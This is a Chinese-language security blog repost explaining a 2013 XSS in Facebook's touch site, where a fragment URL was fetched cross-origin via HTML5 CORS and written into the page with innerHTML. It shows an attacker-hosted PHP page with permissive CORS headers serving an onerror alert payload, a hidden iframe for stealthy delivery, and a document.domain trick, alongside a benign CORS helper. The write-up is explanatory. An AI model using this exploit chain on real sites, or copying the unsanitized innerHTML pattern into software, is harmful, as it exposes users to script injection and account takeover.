当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

HTML5跨域请求特性导致的Fackbook Xss

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

原文是英文的,将大致Xss流程转过来了。
 
传统情况下
 
缺陷URL是:#profile.php
 
打开这个页面后,
 
会执行下面的操作 (这里是基于JQ的伪代码)
 
$.get(#后面的地址,function(返回内容){
 
  $("#somediv").innerHTML=返回内容
 
});
 
在以前,这里不会带来安全问题, 因为浏览器是不允许跨域请求的。
 
HTML5中
 
在HTML5中,支持CORS(Cross-Origin Resource Sharing),跨域资源共享?可能是这么翻译的吧。。
 
也就是说,在HTML5中,我们可以向不同域的网站发送请求。
 
例如这个例子里,我们可以
 
#http://example.com/xss.php
 
那么打开上面这个地址,涛涛电脑知识网,
 
页面会通过ajax向  发送跨域请求。
 
这个时候浏览器会检查  所返回的 请求头。
 
看头中的Access-Control-Allow-Origin 头是否允许来自touch.facebook.com的请求。
 
为了允许来自touch.facebook.com的请求,涛涛电脑知识网,
 
xss.php的代码如下,用header对response 的头进行设置。
 
<?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');
// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
// Additional headers which may be sent along with the CORS request
header('Access-Control-Allow-Headers: X-Requested-With');
// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
    exit();
}
?>
<!-- this div is needed to load the payload into facebook -->
<div tab="home_menu" id="feed_tabbox" onreplace="fb.updateCurrentPage()">
<img style="display:none" src="x" onerror="alert('xss')" />
</div>这样一来,touch.facebook.com 会通过ajax跨域获取到example.com/xss.php的内容,并通过innerHTML输出到页面,从而导致Xss的发生。
 
-----
 
为了使攻击变得更加隐蔽,可以在其它网站iframe 这个页面
 
<iframe src="#http://example.com/xss.php" style="display:none"></iframe>
 
为了让touch.facebook.com这个页面能直接对facebook.com操作,可在JS里加入
 
document.domain = 'facebook.com'
 
浏览器对CORS的支持情况
 
CORS在IE8 以及 当前其它主流的浏览器中被支持。(Firefox 3.5, Safari 4, and Google Chrome.
 
其中IE8 ,普通的AJAX请求是XMLHttpRequest, 跨域请求则专门有一个对象XDomainRequest
 
浏览器兼容的CORS代码
 
国外网站转过来的,主要点是通过withCredentials和XDomainRequest来判断是否支持CORS
 
function createCORSRequest(method, url) {
  var xhr = new XMLHttpRequest();
  if ("withCredentials" in xhr) {
    // Check if the XMLHttpRequest object has a "withCredentials" property.
    // "withCredentials" only exists on XMLHTTPRequest2 objects.
    xhr.open(method, url, true);
  } else if (typeof XDomainRequest != "undefined") {
    // Otherwise, check if XDomainRequest.
    // XDomainRequest only exists in IE, and is IE's way of making CORS requests.
    xhr = new XDomainRequest();
    xhr.open(method, url);
  } else {
    // Otherwise, CORS is not supported by the browser.
    xhr = null;
  }
  return xhr;
}
var xhr = createCORSRequest('GET', url);
if (!xhr) {
  throw new Error('CORS not supported');
}原文地址:?p=19
 
参考:
 

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1